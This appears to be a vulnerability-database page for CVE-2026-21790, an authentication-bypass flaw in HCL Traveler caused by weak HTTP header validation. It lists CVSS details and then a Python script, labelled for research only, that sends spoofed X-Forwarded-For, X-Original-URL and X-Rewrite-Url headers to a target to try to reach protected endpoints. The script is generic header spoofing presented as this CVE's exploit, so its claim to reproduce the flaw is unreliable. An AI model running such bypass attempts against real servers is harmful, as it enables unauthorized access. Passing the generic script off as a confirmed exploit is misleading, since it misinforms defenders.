HCL Traveler is susceptible to a weak default HTTP header validation vulnerability, which could allow an attacker to bypass additional authentication checks.
CVSS Details
CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Configurations (Affected Products)
No configuration data available.
HCL Traveler (具体受影响版本请参考官方公告 KB0129139)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def check_vulnerability(target_url):
"""
PoC for CVE-2026-21790: Weak HTTP Header Validation in HCL Traveler
This script attempts to bypass authentication by injecting weak headers.
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
# Attempting to inject headers that might bypass weak validation
"X-Forwarded-For": "127.0.0.1",
"X-Original-URL": "/protected/api",
"X-Rewrite-Url": "/protected/api"
}
try:
# Sending request to the target endpoint
response = requests.get(target_url, headers=headers, timeout=10)
# Check if the response indicates successful bypass (e.g., 200 OK instead of 401/403)
if response.status_code == 200 and "unauthorized" not in response.text.lower():
print(f"[+] Potential Vulnerability Detected at {target_url}")
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response Length: {len(response.text)}")
else:
print(f"[-] Target does not appear vulnerable or requires specific conditions.")
print(f"[-] Status Code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
target = "http://example.com/sync" # Replace with actual target
check_vulnerability(target)